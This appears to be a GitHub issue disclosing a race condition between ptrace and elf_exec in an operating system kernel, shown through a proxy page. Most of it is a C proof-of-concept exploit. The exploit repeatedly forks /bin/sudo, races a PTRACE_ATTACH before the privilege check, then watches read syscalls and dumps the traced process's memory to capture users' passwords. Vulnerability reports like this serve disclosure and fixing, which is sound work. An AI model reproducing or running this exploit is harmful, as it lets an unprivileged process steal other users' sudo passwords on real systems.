这是indexloc提供的服务,不要输入任何密码
Skip to content

Race condition between ptrace and elf_exec #304

@robbert1978

Description

@robbert1978

In elf_exec, there is a small window between ptrace attach to the process and before it checks is that process is attached
So, sometimes a privileged process is traced by an unprivileged process.

POC (Updated) :

#include "unistd.h"
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/signal.h>
#include <sys/signal_defs.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysfunc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uregs.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <syscall_nums.h>
#include <string.h>

struct regs regs;

void child() {
  char *argv[] = {"/bin/sudo", "ls", NULL};
  if (execvp(argv[0], argv) < 0) {
    perror("execve");
  }
  _exit(0);
}

int read_bytes(pid_t pid, void *addr, char *buffer, size_t len) {
  if (!buffer) {
    fprintf(stderr, "Buffer is NULL.\n");
    return -1;
  }

  for (size_t i = 0; i < len; i++) {
    unsigned char byte;
    long ret = ptrace(PTRACE_PEEKDATA, pid, (char *)addr + i, &byte);

    if (ret < 0) {
      perror("nooo");
      return -1;
    }

    buffer[i] = byte; // Store the read byte into the buffer.
  }

  return 0;
}

int is_printable(unsigned char c) { return (c >= 0x20 && c <= 0x7E); }

void hexdump(const unsigned char *buffer, size_t length, size_t base_address)
{
  if (!buffer) {
    fprintf(stderr, "Buffer is NULL.\n");
    return;
  }

  size_t i, j;
  for (i = 0; i < length; i += 16) {
    // Print the address offset
    printf("%08zx  ", base_address + i);

    // Print the hex values
    for (j = 0; j < 16; j++) {
      if (i + j < length) {
        printf("%02x ", buffer[i + j]);
      } else {
        printf("   "); // Fill space for incomplete lines
      }
    }

    printf(" "); // Spacer between hex and ASCII

    // Print the ASCII representation
    for (j = 0; j < 16; j++) {
      if (i + j < length) {
        unsigned char c = buffer[i + j];
        printf("%c", is_printable(c) ? c : '.');
      }
    }

    printf("\n");
    fflush(stdout); // Ensure the output is flushed immediately
  }
}

int main(int argc, char** argv, char** envp) {
  int Tpid;
  while (1) {
	for(int try = 0; try < 100 ; try++){
		int pid = fork();
		if (pid == 0) {
		  child();
		}
		usleep(10);
		if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) == 0) {
		  Tpid = pid;
		  goto have_Tpid;
		}
	}
	puts("Try harder!");
	sleep(2);
  }

have_Tpid:

  system("ps -A fau");
  printf("pid: %d\n", Tpid);

  if (syscall_kill(Tpid, 9) >= 0) {
    puts("NOO");
	system("clear");
    execvp("/bin/x", argv);
	return -1;
  }
  int recv = 0;
  _Bool opened = 0;
  int passfd = -1;
  while (1) {	
    if (regs.rax == SYS_READ && regs.rdi >=2) {
      puts("Maybe read pass");
      printf("rip = 0x%lx, rdi = 0x%lx, rsi = 0x%lx, rdx = 0x%lx, rsp=0x%lx,"
             "rbp = 0x%lx\n",
             regs.rip, regs.rdi, regs.rsi, regs.rdx, regs.rsp, regs.rbp);
      char buf[0x2000] = {0};
      if (read_bytes(Tpid, (void *)(regs.rsi & ~0xfffULL), buf, 0x2000) == 0) {
        hexdump(buf, 0x1000, (void *)(regs.rsi & ~0xfffULL));
        puts(buf);
	  }
	  
    }
next:	

    ptrace(PTRACE_CONT, Tpid, NULL, NULL);
    recv++;
  }

  return 0;
}

By tracing the sudo process, the un-privileged process can leak many users' passwords:

image

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions